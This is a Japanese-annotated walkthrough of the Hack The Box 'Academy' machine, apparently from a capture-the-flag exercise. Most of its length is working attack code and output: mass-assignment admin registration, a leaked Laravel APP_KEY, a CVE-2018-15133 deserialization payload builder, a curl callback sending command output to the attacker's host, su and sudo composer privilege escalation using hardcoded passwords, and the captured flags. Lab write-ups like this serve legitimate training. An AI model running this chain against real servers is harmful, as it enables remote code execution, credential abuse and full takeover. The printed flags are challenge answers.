nmap -Pn -p- --min-rate 500 -T4 10.129.89.203
nmap -sV -sC -p 22,80,33060 10.129.89.203

PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1
80/tcp    open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://academy.htb/
33060/tcp open  mysqlx  MySQL X protocol listener

echo "10.129.89.203  academy.htb dev-staging-01.academy.htb" | sudo tee -a /etc/hosts
curl -sI http://10.129.89.203/

HTTP/1.1 302 Found
Server: Apache/2.4.41 (Ubuntu)
Location: http://academy.htb/

curl -s http://academy.htb/ | grep -i title

<title>Hack The Box Academy</title>

"HTB Academy"(学習管理システムのクローン)はユーザー登録フォームを持つ。
register.phpのサーバー側実装は、クライアントから送信されたPOSTパラメータを
ほぼそのままINSERT文に使用しており、フォーム上には存在しない"roleid"という
隠しパラメータを手動で付加することで、通常ユーザー(roleid=0程度)ではなく
管理者ロール(roleid=1)のアカウントを直接作成できてしまう。

curl -s -X POST http://academy.htb/register.php \
  --data "uid=verify_pwn&password=Verify99!&confirm=Verify99!&roleid=1" \
  -o /dev/null -w "register HTTP: %{http_code}\n"

register HTTP: 302

curl -s -c cookies.txt "http://academy.htb/login.php" -o /dev/null
curl -s -b cookies.txt -c cookies.txt -X POST "http://academy.htb/login.php" \
  --data "uid=verify_pwn&password=Verify99!" -L -o after_login.html \
  -w "HTTP: %{http_code}  URL: %{url_effective}\n"
grep -i "Draft Modules" after_login.html

HTTP: 200  URL: http://academy.htb/home.php
<li><a href="#/modules/draft"><i class=""></i> Draft Modules</a></li>

管理者アカウントで利用できる機能の中に、開発中の新しいLMSシステムへの
リンク(dev-staging-01.academy.htb)が存在する。このサブドメインで動く
LaravelアプリはAPP_DEBUG=trueのまま運用されており、例外発生時に
詳細なデバッグ画面(Symfony VarDumper形式)が表示される。

curl -sk -H "Host: dev-staging-01.academy.htb" http://10.129.89.203/ \
  -o devstaging.html
grep -oE 'base64:[A-Za-z0-9+/=]+' devstaging.html

base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=

古いバージョンのLaravelは、クッキー等で受け取った暗号化データを復号した後、
その内容をPHPの unserialize() に渡して処理する箇所がある。APP_KEYが
分かっていれば、任意のPHPオブジェクトグラフを暗号化してサーバーに送り込み
デシリアライズさせることができる。本CVEで使われる「ガジェットチェーン」は
Illuminate\Broadcasting\PendingBroadcastクラスのデストラクタが、内部の
Faker\Generatorオブジェクトの__call経由でPHPの組み込み関数system()を
呼び出せる構造になっている点を悪用する。

payload_php = (
    b'O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:'
    b'{s:9:"\x00*\x00events";'
    b'O:15:"Faker\\Generator":1:'
    b'{s:13:"\x00*\x00formatters";a:1:{s:8:"dispatch";s:6:"system";}}'
    b's:8:"\x00*\x00event";s:' + str(len(cmd_bytes)).encode()
    + b':"' + cmd_bytes + b'";}'
)

key = base64.b64decode(app_key.replace("base64:", ""))
iv  = os.urandom(16)
padded = PKCS7(128).padder().update(payload_php) + ...
cipher = Cipher(AES(key), CBC(iv)).encryptor()
value_enc = cipher.update(padded) + cipher.finalize()

iv_b64, val_b64 = base64.b64encode(iv), base64.b64encode(value_enc)
mac = hmac.new(key, iv_b64 + val_b64, hashlib.sha256).hexdigest()

token = base64.b64encode(json.dumps({
    "iv": iv_b64.decode(), "value": val_b64.decode(), "mac": mac
}).encode()).decode()

curl -sk -X POST http://dev-staging-01.academy.htb/ \
  -H "X-XSRF-TOKEN: <上で生成したtoken>"

cmd = f"id | curl -sk -X POST --data-binary @- http://{KALI}:{PORT}/"
# ↑ このcmdをCVE-2018-15133ペイロードのsystem()呼び出しに埋め込んで送信

HTTP status: 500  (Laravel側はデシリアライズ後に例外を出すため500が正常)
Received RCE callback body: uid=33(www-data) gid=33(www-data) groups=33(www-data)

SSH経由のパスワード認証はcry0l1t3/mrb3nどちらも無効化されているため、
www-dataのRCEから直接 su を使って横移動する必要がある。su はTTYを要求するため、
RCEで送り込むPythonコード内で pty.openpty() により疑似端末を自前で割り当て、
select()でプロンプト待ち+os.write()でパスワード送信を行う。

m, p = pty.openpty_and_spawn(["su", "cry0l1t3", "-s", "/bin/bash"])
wait_for(m, "assword")
write(m, "mySup3rP4s5w0rd!!")
wait_for(m, "$")
write(m, "cat /home/cry0l1t3/user.txt")
user_flag = read(m)   # → curlでKaliへ送信

[*] Academy: APP_KEY = base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEyn...
[*] Academy: HTTP receiver on :4458
[★] user.txt 取得: 49888603909db016e924a85bbde0d311

cry0l1t3のシェルから続けて su mrb3n (mrb3n_Ac@d3my!) する。mrb3nは
sudoersで /usr/bin/composer をNOPASSWDではない形で実行可能なため、
パスワードを echo 'pass' | sudo -S の形式でパイプする(ptyコンテキストには
対話的TTYが無いため、sudo単体のパスワードプロンプトが出せない)。
GTFOBinsのcomposerエントリに従い、任意のシェルコマンドを実行する
composer.json の "scripts" を用意して run-script で起動する。

{"scripts": {"x": "id>/tmp/comp_id.txt && cat /root/root.txt>/tmp/comp_root.txt"}}

write(m, "su mrb3n"); wait_for(m, "assword"); write(m, "mrb3n_Ac@d3my!")
write(m, "mkdir -p /tmp/acad_comp && echo <composer.json のbase64> | base64 -d > /tmp/acad_comp/composer.json")
write(m, "echo 'mrb3n_Ac@d3my!' | sudo -S /usr/bin/composer --working-dir=/tmp/acad_comp run-script x 2>&1")
write(m, "cat /tmp/comp_root.txt")
root_flag = read(m)   # → curlでKaliへ送信